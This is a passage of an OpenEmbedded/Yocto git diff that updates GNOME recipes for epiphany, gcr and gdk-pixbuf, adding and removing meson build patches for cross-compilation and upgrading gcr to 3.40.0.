+PACKAGECONFIG_SOUP ?= "soup2"
+PACKAGECONFIG ??= "${PACKAGECONFIG_SOUP}"
+
+# Developer mode enables debugging
+PACKAGECONFIG[developer-mode] = "-Ddeveloper_mode=true,-Ddeveloper_mode=false"
+PACKAGECONFIG[soup2] = "-Dsoup2=enabled,-Dsoup2=disabled,libsoup-2.4,,,soup3"
+PACKAGECONFIG[soup3] = ",,libsoup,,,soup2"
+PACKAGECONFIG[libportal] = "-Dlibportal=enabled,-Dlibportal=disabled,libportal"
+
+FILES:${PN} += "${datadir}/dbus-1 ${datadir}/gnome-shell/search-providers ${datadir}/metainfo"
+RDEPENDS:${PN} = "iso-codes adwaita-icon-theme gsettings-desktop-schemas"
diff --git a/meta/recipes-gnome/epiphany/files/0002-help-meson.build-disable-the-use-of-yelp.patch b/meta/recipes-gnome/epiphany/files/0002-help-meson.build-disable-the-use-of-yelp.patch
index d4f3cc1d35..a6c4f92c86 100644
--- a/meta/recipes-gnome/epiphany/files/0002-help-meson.build-disable-the-use-of-yelp.patch
+++ b/meta/recipes-gnome/epiphany/files/0002-help-meson.build-disable-the-use-of-yelp.patch
@@ -1,4 +1,4 @@
-From 0048ae2d225d25cc58f378718ca6f9ddb1a228f9 Mon Sep 17 00:00:00 2001
+From 77c9f87dc2b3ad0854a678e234e22dfb31902b82 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Wed, 31 Jan 2018 15:50:38 +0200
Subject: [PATCH] help/meson.build: disable the use of yelp
@@ -13,11 +13,11 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/help/meson.build b/help/meson.build
-index fddcf4c..f7d76c6 100644
+index ff324dd..f5e421d 100644
--- a/help/meson.build
+++ b/help/meson.build
-@@ -32,7 +32,7 @@ help_media = [
- 'media/web-browser.png'
+@@ -31,7 +31,7 @@ help_media = [
+ 'media/org.gnome.Epiphany.svg'
]
-gnome.yelp(meson.project_name(),
diff --git a/meta/recipes-gnome/epiphany/files/bfbb5f7bab38301d8a4a444173acdae8d9692146.patch b/meta/recipes-gnome/epiphany/files/bfbb5f7bab38301d8a4a444173acdae8d9692146.patch
new file mode 100644
index 0000000000..f20975c3bd
--- /dev/null
+++ b/meta/recipes-gnome/epiphany/files/bfbb5f7bab38301d8a4a444173acdae8d9692146.patch
@@ -0,0 +1,35 @@
+From bfbb5f7bab38301d8a4a444173acdae8d9692146 Mon Sep 17 00:00:00 2001
+From: rvalue <i@rvalue.moe>
+Date: Wed, 24 Nov 2021 04:52:42 +0000
+Subject: [PATCH] Remove incorrect args for i18n.merge_file
+
+Part-of: <https://gitlab.gnome.org/GNOME/epiphany/-/merge_requests/1031>
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ data/meson.build | 2 --
+ 1 file changed, 2 deletions(-)
+
+diff --git a/data/meson.build b/data/meson.build
+index 46df3fd80..eac6b8224 100644
+--- a/data/meson.build
++++ b/data/meson.build
+@@ -16,7 +16,6 @@ install_data(
+ desktop_conf = configuration_data()
+ desktop_conf.set('icon', application_id)
+ desktop = i18n.merge_file(
+- 'desktop',
+ input: configure_file(
+ input: files('org.gnome.Epiphany.desktop.in.in'),
+ output: 'org.gnome.Epiphany.desktop.in',
+@@ -32,7 +31,6 @@ desktop = i18n.merge_file(
+ appdata_conf = configuration_data()
+ appdata_conf.set('appid', application_id)
+ appdata = i18n.merge_file(
+- 'appdata',
+ input: configure_file(
+ input: files('org.gnome.Epiphany.appdata.xml.in.in'),
+ output: 'org.gnome.Epiphany.appdata.xml.in',
+--
+GitLab
+
diff --git a/meta/recipes-gnome/epiphany/files/distributor.patch b/meta/recipes-gnome/epiphany/files/distributor.patch
new file mode 100644
index 0000000000..b09c9b38d2
--- /dev/null
+++ b/meta/recipes-gnome/epiphany/files/distributor.patch
@@ -0,0 +1,17 @@
+Don't encode the distro from /etc/os-release into the binaries.
+
+Upstream-Status: Pending
+RP 2021/2/26
+
+Index: epiphany-3.38.2/meson.build
+===================================================================
+--- epiphany-3.38.2.orig/meson.build
++++ epiphany-3.38.2/meson.build
+@@ -15,6 +15,7 @@ if r.returncode() == 0
+ else
+ distributor_name = 'GNOME Web'
+ endif
++distributor_name = 'OpenEmbedded'
+
+ prefix = get_option('prefix')
+ datadir = join_paths(prefix, get_option('datadir'))
diff --git a/meta/recipes-gnome/epiphany/files/migrator.patch b/meta/recipes-gnome/epiphany/files/migrator.patch
new file mode 100644
index 0000000000..a9a650a64a
--- /dev/null
+++ b/meta/recipes-gnome/epiphany/files/migrator.patch
@@ -0,0 +1,24 @@
+We don't want to encide BUILD_ROOT into target packages. This is used
+for build time tests but in our case those would be on target anyway
+do use the target paths.
+
+Upstream-Status: Pending
+RP 2021/2/25
+
+Index: epiphany-3.38.2/lib/ephy-profile-utils.c
+===================================================================
+--- epiphany-3.38.2.orig/lib/ephy-profile-utils.c
++++ epiphany-3.38.2/lib/ephy-profile-utils.c
+@@ -130,10 +130,10 @@ ephy_profile_utils_do_migration (const c
+ argv[i++] = NULL;
+
+ #if DEVELOPER_MODE
+- argv[0] = BUILD_ROOT "/src/" EPHY_PROFILE_MIGRATOR;
++ argv[0] = PKGLIBEXECDIR "/" EPHY_PROFILE_MIGRATOR;
+ #else
+ if (debug)
+- argv[0] = BUILD_ROOT "/src/" EPHY_PROFILE_MIGRATOR;
++ argv[0] = PKGLIBEXECDIR "/" EPHY_PROFILE_MIGRATOR;
+ #endif
+
+ g_spawn_sync (NULL, (char **)argv, envp, G_SPAWN_SEARCH_PATH,
diff --git a/meta/recipes-gnome/gcr/gcr/0001-gcr-meson.build-fix-one-parallel-build-failure.patch b/meta/recipes-gnome/gcr/gcr/0001-gcr-meson.build-fix-one-parallel-build-failure.patch
new file mode 100644
index 0000000000..81c4bdbbcc
--- /dev/null
+++ b/meta/recipes-gnome/gcr/gcr/0001-gcr-meson.build-fix-one-parallel-build-failure.patch
@@ -0,0 +1,37 @@
+From cb3708bad88e713e4ccf705cb8c14c5996cd9d06 Mon Sep 17 00:00:00 2001
+From: Changqing Li <changqing.li@windriver.com>
+Date: Fri, 23 Apr 2021 16:32:38 +0800
+Subject: [PATCH] gcr/meson.build: fix one parallel build failure
+
+ui/gcr-live-search.c includes gcr/gcr-marshal.h. Because missing
+dependency, following error occurred intermittently during doing parallel
+build:
+
+ -o ui/libgcr-ui-3.so.1.0.0.p/gcr-live-search.c.o -c ../gcr-3.38.1/ui/gcr-live-search.c
+../gcr-3.38.1/ui/gcr-live-search.c:32:10: fatal error: gcr/gcr-marshal.h: No such file or directory
+ 32 | #include "gcr/gcr-marshal.h"
+ | ^~~~~~~~~~~~~~~~~~~
+compilation terminated.
+
+Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/gcr/-/merge_requests/68/diffs]
+
+Signed-off-by: Changqing Li <changqing.li@windriver.com>
+---
+ gcr/meson.build | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/gcr/meson.build b/gcr/meson.build
+index 06c3a63..d9d4b8f 100644
+--- a/gcr/meson.build
++++ b/gcr/meson.build
+@@ -181,6 +181,7 @@ gcr_base_dep = declare_dependency(
+ sources: [
+ gcr_enums_gen[1],
+ gcr_oids[1],
++ gcr_marshal_gen[1],
+ ],
+ )
+
+--
+2.17.1
+
diff --git a/meta/recipes-gnome/gcr/gcr/b3ca1d02bb0148ca787ac4aead164d7c8ce2c4d8.patch b/meta/recipes-gnome/gcr/gcr/b3ca1d02bb0148ca787ac4aead164d7c8ce2c4d8.patch
new file mode 100644
index 0000000000..ae4e2ac1eb
--- /dev/null
+++ b/meta/recipes-gnome/gcr/gcr/b3ca1d02bb0148ca787ac4aead164d7c8ce2c4d8.patch
@@ -0,0 +1,61 @@
+From b3ca1d02bb0148ca787ac4aead164d7c8ce2c4d8 Mon Sep 17 00:00:00 2001
+From: Jakub Jirutka <jakub@jirutka.cz>
+Date: Wed, 12 Jan 2022 00:24:20 +0100
+Subject: [PATCH] meson: Fix unknown kw argument in gnome.generate_gir
+
+This argument has been removed in Meson 0.61.0:
+
+ gck/meson.build:130:2: ERROR: gnome.generate_gir got unknown keyword arguments "packages"
+
+https://github.com/mesonbuild/meson/commit/f8fc5cb860465718fe7c79a1bf1fe00659f138de:
+
+> The packages argument to gnome.generate_gir was allowed, but never did anything, so stop passing it.
+
+Fixes #89
+Upstream-Status: Backport
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ gck/meson.build | 1 -
+ gcr/meson.build | 1 -
+ ui/meson.build | 1 -
+ 3 files changed, 3 deletions(-)
+
+diff --git a/gck/meson.build b/gck/meson.build
+index 756b486..a21a1e9 100644
+--- a/gck/meson.build
++++ b/gck/meson.build
+@@ -131,7 +131,6 @@ if get_option('introspection')
+ sources: gck_gir_sources,
+ namespace: 'Gck',
+ nsversion: '@0@'.format(gck_major_version),
+- packages: gck_deps,
+ export_packages: 'gck-@0@'.format(gck_major_version),
+ includes: [ 'GObject-2.0', 'Gio-2.0' ],
+ header: 'gck/gck.h',
+diff --git a/gcr/meson.build b/gcr/meson.build
+index 2233a44..c83641b 100644
+--- a/gcr/meson.build
++++ b/gcr/meson.build
+@@ -190,7 +190,6 @@ if get_option('introspection')
+ sources: [ gcr_base_public_sources, gcr_base_headers ],
+ namespace: 'Gcr',
+ nsversion: '@0@'.format(gcr_major_version),
+- packages: gcr_base_deps,
+ export_packages: 'gcr-base-@0@'.format(gcr_major_version),
+ includes: [
+ 'GObject-2.0',
+diff --git a/ui/meson.build b/ui/meson.build
+index e656ea2..32ee057 100644
+--- a/ui/meson.build
++++ b/ui/meson.build
+@@ -152,7 +152,6 @@ if get_option('introspection')
+ export_packages: 'gcr-ui-@0@'.format(gcr_major_version),
+ identifier_prefix: 'Gcr',
+ symbol_prefix: 'gcr',
+- packages: gcr_ui_deps,
+ includes: [
+ 'GObject-2.0',
+ 'Gio-2.0',
+--
+GitLab
+
diff --git a/meta/recipes-gnome/gcr/gcr_3.34.0.bb b/meta/recipes-gnome/gcr/gcr_3.34.0.bb
deleted file mode 100644
index 616b0e5bf5..0000000000
--- a/meta/recipes-gnome/gcr/gcr_3.34.0.bb
+++ /dev/null
@@ -1,35 +0,0 @@
-SUMMARY = "A library for bits of crypto UI and parsing etc"
-DESCRIPTION = "GCR is a library for displaying certificates, and crypto UI, \
-accessing key stores. It also provides the viewer for crypto files on the \
-GNOME desktop."
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/gcr"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/gcr/issues"
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=55ca817ccb7d5b5b66355690e9abc605"
-
-DEPENDS = "gtk+3 p11-kit glib-2.0 libgcrypt \
- ${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'libxslt-native', '', d)}"
-
-inherit gnomebase gtk-icon-cache gtk-doc distro_features_check upstream-version-is-even vala gobject-introspection gettext
-# depends on gtk+3, but also x11 through gtk+-x11
-REQUIRED_DISTRO_FEATURES = "x11"
-
-SRC_URI[archive.md5sum] = "4af28919fb1dd36d93603e8230283b6f"
-SRC_URI[archive.sha256sum] = "29df50974a90987af694c0fb8926a6b366e68cacd8abd813817cfe1eb5d54524"
-
-FILES_${PN} += " \
- ${datadir}/dbus-1 \
- ${datadir}/gcr-3 \
-"
-
-# http://errors.yoctoproject.org/Errors/Details/20229/
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
-
-# These files may be out of date or missing our fixes
-# libgcrypt.m4 in particular is calling into libgcrypt-config
-do_configure_prepend() {
- rm -f ${S}/build/m4/*
-}
diff --git a/meta/recipes-gnome/gcr/gcr_3.40.0.bb b/meta/recipes-gnome/gcr/gcr_3.40.0.bb
new file mode 100644
index 0000000000..717c31c325
--- /dev/null
+++ b/meta/recipes-gnome/gcr/gcr_3.40.0.bb
@@ -0,0 +1,44 @@
+SUMMARY = "A library for bits of crypto UI and parsing etc"
+DESCRIPTION = "GCR is a library for displaying certificates, and crypto UI, \
+accessing key stores. It also provides the viewer for crypto files on the \
+GNOME desktop."
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/gcr"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/gcr/issues"
+
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=55ca817ccb7d5b5b66355690e9abc605"
+
+DEPENDS = "p11-kit glib-2.0 libgcrypt gnupg-native \
+ ${@bb.utils.contains('GI_DATA_ENABLED', 'True', 'libxslt-native', '', d)}"
+
+CACHED_CONFIGUREVARS += "ac_cv_path_GPG='gpg2'"
+
+GNOMEBASEBUILDCLASS = "meson"
+GTKDOC_MESON_OPTION = "gtk_doc"
+inherit gnomebase gtk-icon-cache gtk-doc features_check upstream-version-is-even vala gobject-introspection gettext mime mime-xdg
+
+SRC_URI += "file://0001-gcr-meson.build-fix-one-parallel-build-failure.patch \
+ file://b3ca1d02bb0148ca787ac4aead164d7c8ce2c4d8.patch"
+
+SRC_URI[archive.sha256sum] = "b9d3645a5fd953a54285cc64d4fc046736463dbd4dcc25caf5c7b59bed3027f5"
+
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'gtk', '', d)}"
+PACKAGECONFIG[gtk] = "-Dgtk=true,-Dgtk=false,gtk+3"
+
+FILES:${PN} += " \
+ ${datadir}/dbus-1 \
+ ${datadir}/gcr-3 \
+"
+
+# http://errors.yoctoproject.org/Errors/Details/20229/
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
+
+EXTRA_OEMESON += "--cross-file ${WORKDIR}/meson-${PN}.cross"
+do_write_config:append() {
+ cat >${WORKDIR}/meson-${PN}.cross <<EOF
+[binaries]
+gpg2 = '${bindir}/gpg2'
+EOF
+}
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Add-use_prebuilt_tools-option.patch b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Add-use_prebuilt_tools-option.patch
new file mode 100644
index 0000000000..a8206a4507
--- /dev/null
+++ b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Add-use_prebuilt_tools-option.patch
@@ -0,0 +1,171 @@
+From ba73bb0f3d2023839bc3b681c49b7ec1192cceb4 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Sat, 8 May 2021 21:58:54 +0200
+Subject: [PATCH] Add use_prebuilt_tools option
+
+This allows using the gdk-pixbuf tools from the host to
+build and install tests in a cross-compile scenarion.
+
+Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/gdk-pixbuf/-/merge_requests/119]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
+---
+ gdk-pixbuf/meson.build | 11 +++++++++--
+ meson.build | 6 +++---
+ meson_options.txt | 4 ++++
+ tests/meson.build | 16 ++++++++--------
+ thumbnailer/meson.build | 24 ++++++++++++++++++------
+ 5 files changed, 42 insertions(+), 19 deletions(-)
+
+diff --git a/gdk-pixbuf/meson.build b/gdk-pixbuf/meson.build
+index 8b0590b..7331491 100644
+--- a/gdk-pixbuf/meson.build
++++ b/gdk-pixbuf/meson.build
+@@ -342,13 +342,20 @@ foreach bin: gdkpixbuf_bin
+ include_directories: [ root_inc, gdk_pixbuf_inc ],
+ c_args: common_cflags + gdk_pixbuf_cflags,
+ install: true)
+- meson.override_find_program(bin_name, bin)
++ if not get_option('use_prebuilt_tools')
++ meson.override_find_program(bin_name, bin)
++ endif
+
+ # Used in tests
+ set_variable(bin_name.underscorify(), bin)
+ endforeach
+
+-if not meson.is_cross_build()
++if get_option('use_prebuilt_tools')
++ gdk_pixbuf_query_loaders = find_program('gdk-pixbuf-query-loaders', required: true)
++ gdk_pixbuf_pixdata = find_program('gdk-pixbuf-pixdata', required: true)
++endif
++
++if not meson.is_cross_build() or get_option('use_prebuilt_tools')
+ # The 'loaders.cache' used for testing, so we don't accidentally
+ # load the installed cache; we always build it by default
+ loaders_cache = custom_target('loaders.cache',
+diff --git a/meson.build b/meson.build
+index 7a1409b..0bc73eb 100644
+--- a/meson.build
++++ b/meson.build
+@@ -403,16 +403,16 @@ subdir('gdk-pixbuf')
+ # i18n
+ subdir('po')
+
+-if not meson.is_cross_build()
++if not meson.is_cross_build() or get_option('use_prebuilt_tools')
+ subdir('tests')
+- subdir('thumbnailer')
+ endif
++subdir('thumbnailer')
+
+ # Documentation
+ build_docs = get_option('gtk_doc') or get_option('docs')
+ subdir('docs')
+
+-if not meson.is_cross_build()
++if not meson.is_cross_build() or get_option('use_prebuilt_tools')
+ meson.add_install_script('build-aux/post-install.py',
+ gdk_pixbuf_bindir,
+ gdk_pixbuf_libdir,
+diff --git a/meson_options.txt b/meson_options.txt
+index 0ee6718..cc29855 100644
+--- a/meson_options.txt
++++ b/meson_options.txt
+@@ -49,4 +49,8 @@ option('gio_sniffing',
+ description: 'Perform file type detection using GIO (Unused on MacOS and Windows)',
+ type: 'boolean',
+ value: true)
++option('use_prebuilt_tools',
++ description: 'Use prebuilt gdk-pixbuf tools from the host for cross-compilation',
++ type: 'boolean',
++ value: false)
+
+diff --git a/tests/meson.build b/tests/meson.build
+index 7c6cb11..1029e6a 100644
+--- a/tests/meson.build
++++ b/tests/meson.build
+@@ -5,6 +5,12 @@
+ # $PATH. Ideally we should use gnome.compile_resources() and let Meson deal with
+ # this problem: See https://github.com/mesonbuild/meson/issues/8266.
+ if enabled_loaders.contains('png') and host_system != 'windows'
++
++ resources_deps = [loaders_cache,]
++ if not get_option('use_prebuilt_tools')
++ resources_deps += [gdk_pixbuf_pixdata,]
++ endif
++
+ # Resources; we cannot use gnome.compile_resources() here, because we need to
+ # override the environment in order to use the utilities we just built instead
+ # of the system ones
+@@ -21,10 +27,7 @@ if enabled_loaders.contains('png') and host_system != 'windows'
+ '@INPUT@',
+ '@OUTPUT@',
+ ],
+- depends: [
+- gdk_pixbuf_pixdata,
+- loaders_cache,
+- ],
++ depends: resources_deps,
+ )
+
+ resources_h = custom_target('resources.h',
+@@ -40,10 +43,7 @@ if enabled_loaders.contains('png') and host_system != 'windows'
+ '@INPUT@',
+ '@OUTPUT@',
+ ],
+- depends: [
+- gdk_pixbuf_pixdata,
+- loaders_cache,
+- ],
++ depends: resources_deps,
+ )
+ no_resources = false
+ else
+diff --git a/thumbnailer/meson.build b/thumbnailer/meson.build
+index b6a206d..9336c21 100644
+--- a/thumbnailer/meson.build
++++ b/thumbnailer/meson.build
+@@ -6,13 +6,29 @@ bin = executable('gdk-pixbuf-thumbnailer',
+ ],
+ dependencies: gdk_pixbuf_deps + [ gdkpixbuf_dep ],
+ install: true)
+-meson.override_find_program('gdk-pixbuf-thumbnailer', bin)
++if not get_option('use_prebuilt_tools')
++ meson.override_find_program('gdk-pixbuf-thumbnailer', bin)
++endif
+
+ gdk_pixbuf_print_mime_types = executable('gdk-pixbuf-print-mime-types',
+ 'gdk-pixbuf-print-mime-types.c',
++ install: true,
+ c_args: common_cflags,
+ dependencies: gdk_pixbuf_deps + [ gdkpixbuf_dep ])
+
++if get_option('use_prebuilt_tools')
++ gdk_pixbuf_print_mime_types = find_program('gdk-pixbuf-print-mime-types', required: true)
++endif
++
++thumbnailer_deps = [loaders_cache,]
++
++if not get_option('use_prebuilt_tools')
++ thumbnailer_deps += [
++ gdk_pixbuf_print_mime_types,
++ gdk_pixbuf_pixdata,
++ ]
++endif
++
+ custom_target('thumbnailer',
+ input: 'gdk-pixbuf-thumbnailer.thumbnailer.in',
+ output: 'gdk-pixbuf-thumbnailer.thumbnailer',
+@@ -25,10 +41,6 @@ custom_target('thumbnailer',
+ '@INPUT@',
+ '@OUTPUT@',
+ ],
+- depends: [
+- gdk_pixbuf_print_mime_types,
+- gdk_pixbuf_pixdata,
+- loaders_cache,
+- ],
++ depends: thumbnailer_deps,
+ install: true,
+ install_dir: join_paths(gdk_pixbuf_datadir, 'thumbnailers'))
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Fix-a-couple-of-decisions-around-cross-compilation.patch b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Fix-a-couple-of-decisions-around-cross-compilation.patch
deleted file mode 100644
index e461404918..0000000000
--- a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Fix-a-couple-of-decisions-around-cross-compilation.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From be8a47e0c21e5577d4f5669d339dfec6299b25be Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 14 Feb 2019 18:06:25 +0100
-Subject: [PATCH] Generate loaders.cache using a native tool when
- cross-compiling
-
-Otherwise meson would attempt to run a target binary.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- gdk-pixbuf/meson.build | 12 ++++++++++--
- 1 file changed, 10 insertions(+), 2 deletions(-)
-
-diff --git a/gdk-pixbuf/meson.build b/gdk-pixbuf/meson.build
-index 5cddbec..78c8bd3 100644
---- a/gdk-pixbuf/meson.build
-+++ b/gdk-pixbuf/meson.build
-@@ -324,8 +324,16 @@ if not meson.is_cross_build()
- build_by_default: true)
- loaders_dep = declare_dependency(sources: [ loaders_cache ])
- else
-- loaders_cache = []
-- loaders_dep = declare_dependency()
-+ loaders_cache = custom_target('loaders.cache',
-+ output: 'loaders.cache',
-+ capture: true,
-+ command: [
-+ 'gdk-pixbuf-query-loaders',
-+ dynamic_loaders,
-+ ],
-+ depends: dynamic_loaders_dep,
-+ build_by_default: true)
-+ loaders_dep = declare_dependency(sources: [ loaders_cache ])
- endif
-
- pkgconfig = import('pkgconfig')
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Work-around-thumbnailer-cross-compile-failure.patch b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Work-around-thumbnailer-cross-compile-failure.patch
deleted file mode 100644
index 110b32a490..0000000000
--- a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Work-around-thumbnailer-cross-compile-failure.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 8c7ced988def52654946458a3779e383b27f14f7 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 14 Feb 2019 17:56:10 +0100
-Subject: [PATCH] Work-around thumbnailer cross-compile failure
-
-Install gdk-pixbuf-print-mime-types that's needed for thumbnail
-metadata generation.
-
-The upstream issue is https://bugzilla.gnome.org/show_bug.cgi?id=779057
-
-Upstream-Status: Inappropriate [workaround]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- thumbnailer/meson.build | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/thumbnailer/meson.build b/thumbnailer/meson.build
-index e801144..aaafec8 100644
---- a/thumbnailer/meson.build
-+++ b/thumbnailer/meson.build
-@@ -10,6 +10,7 @@ executable('gdk-pixbuf-thumbnailer',
- gdk_pixbuf_print_mime_types = executable('gdk-pixbuf-print-mime-types',
- 'gdk-pixbuf-print-mime-types.c',
- c_args: common_cflags,
-+ install: true,
- dependencies: gdk_pixbuf_deps + [ gdkpixbuf_dep ])
-
- custom_target('thumbnailer',
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0003-target-only-Work-around-thumbnailer-cross-compile-fa.patch b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0003-target-only-Work-around-thumbnailer-cross-compile-fa.patch
deleted file mode 100644
index a9c7600eb3..0000000000
--- a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0003-target-only-Work-around-thumbnailer-cross-compile-fa.patch
+++ /dev/null
@@ -1,94 +0,0 @@
-From 2d1b65bd1272ad63b7fbd4babd9a8e8c296d15b5 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 22 Feb 2019 13:22:06 +0100
-Subject: [PATCH] (target only) Work-around thumbnailer and pixdata
- cross-compile failure
-
-Use native gdk-pixbuf-print-mime-types and gdk-pixbuf-pixdata
-when generating the thumbnail metadata and resources.
-
-This works but the mime types will come from native
-loader.cache (which will only contain in-tree loaders), not from the
-target loader.cache.
-
-The upstream issue is https://bugzilla.gnome.org/show_bug.cgi?id=779057
-
-Upstream-Status: Inappropriate [workaround]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- build-aux/gen-thumbnailer.py | 2 --
- tests/meson.build | 11 +++++++++--
- thumbnailer/meson.build | 5 +----
- 3 files changed, 10 insertions(+), 8 deletions(-)
-
-diff --git a/build-aux/gen-thumbnailer.py b/build-aux/gen-thumbnailer.py
-index 05ac821..c5b99ab 100644
---- a/build-aux/gen-thumbnailer.py
-+++ b/build-aux/gen-thumbnailer.py
-@@ -20,8 +20,6 @@ argparser.add_argument('output', help='Output file')
- args = argparser.parse_args()
-
- newenv = os.environ.copy()
--newenv['GDK_PIXBUF_PIXDATA'] = args.pixdata
--newenv['GDK_PIXBUF_MODULE_FILE'] = args.loaders
- # 'nt': NT-based Windows, see https://docs.python.org/3/library/os.html
- if os.name == 'nt':
- gdk_pixbuf_dll_buildpath = os.path.dirname(args.pixdata)
-diff --git a/tests/meson.build b/tests/meson.build
-index 8ed7cc1..e011b77 100644
---- a/tests/meson.build
-+++ b/tests/meson.build
-@@ -1,12 +1,19 @@
- # Resources; we cannot use gnome.compile_resources() here, because we need to
- # override the environment in order to use the utilities we just built instead
- # of the system ones
-+
-+if not meson.is_cross_build()
-+pixdata_binary = gdk_pixbuf_pixdata.full_path()
-+else
-+pixdata_binary = 'gdk-pixbuf-pixdata'
-+endif
-+
- resources_c = custom_target('resources.c',
- input: 'resources.gresource.xml',
- output: 'resources.c',
- command: [
- gen_resources,
-- '--pixdata=@0@'.format(gdk_pixbuf_pixdata.full_path()),
-+ '--pixdata=@0@'.format(pixdata_binary),
- '--loaders=@0@'.format(loaders_cache.full_path()),
- '--sourcedir=@0@'.format(meson.current_source_dir()),
- '--source',
-@@ -24,7 +31,7 @@ resources_h = custom_target('resources.h',
- output: 'resources.h',
- command: [
- gen_resources,
-- '--pixdata=@0@'.format(gdk_pixbuf_pixdata.full_path()),
-+ '--pixdata=@0@'.format(pixdata_binary),
- '--loaders=@0@'.format(loaders_cache.full_path()),
- '--sourcedir=@0@'.format(meson.current_source_dir()),
- '--header',
-diff --git a/thumbnailer/meson.build b/thumbnailer/meson.build
-index aaafec8..71bd61b 100644
---- a/thumbnailer/meson.build
-+++ b/thumbnailer/meson.build
-@@ -18,9 +18,7 @@ custom_target('thumbnailer',
- output: 'gdk-pixbuf-thumbnailer.thumbnailer',
- command: [
- gen_thumbnailer,
-- '--printer=@0@'.format(gdk_pixbuf_print_mime_types.full_path()),
-- '--pixdata=@0@'.format(gdk_pixbuf_pixdata.full_path()),
-- '--loaders=@0@'.format(loaders_cache.full_path()),
-+ '--printer=gdk-pixbuf-print-mime-types',
- '--bindir=@0@'.format(gdk_pixbuf_bindir),
- '@INPUT@',
- '@OUTPUT@',
-@@ -28,7 +26,6 @@ custom_target('thumbnailer',
- depends: [
- gdk_pixbuf_print_mime_types,
- gdk_pixbuf_pixdata,
-- loaders_cache,
- ],
- install: true,
- install_dir: join_paths(gdk_pixbuf_datadir, 'thumbnailers'))
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0004-Do-not-run-tests-when-building.patch b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0004-Do-not-run-tests-when-building.patch
deleted file mode 100644
index 96c546f271..0000000000
--- a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0004-Do-not-run-tests-when-building.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From 3c4a6c147ae8a0962ba9194373d8a41d14eed44f Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 22 Feb 2019 13:23:55 +0100
-Subject: [PATCH] Do not run tests when building
-
-Upstream-Status: Inappropriate [cross-compile specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- tests/meson.build | 17 -----------------
- 1 file changed, 17 deletions(-)
-
-diff --git a/tests/meson.build b/tests/meson.build
-index 4fa3fbc..6ef7884 100644
---- a/tests/meson.build
-+++ b/tests/meson.build
-@@ -138,23 +138,6 @@ foreach t: installed_tests
- install_dir: installed_test_bindir,
- )
-
-- # Two particularly slow tests
-- if test_suites.contains('slow')
-- timeout = 300
-- else
-- timeout = 30
-- endif
--
-- test(test_name, test_bin,
-- suite: test_suites,
-- args: [ '-k', '--tap' ],
-- env: [
-- 'G_TEST_SRCDIR=@0@'.format(meson.current_source_dir()),
-- 'G_TEST_BUILDDIR=@0@'.format(meson.current_build_dir()),
-- 'GDK_PIXBUF_MODULE_FILE=@0@'.format(loaders_cache.full_path()),
-- ],
-- timeout: timeout,
-- )
- endforeach
-
- executable('pixbuf-read',
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0006-Build-thumbnailer-and-tests-also-in-cross-builds.patch b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0006-Build-thumbnailer-and-tests-also-in-cross-builds.patch
deleted file mode 100644
index 0fe13a387a..0000000000
--- a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0006-Build-thumbnailer-and-tests-also-in-cross-builds.patch
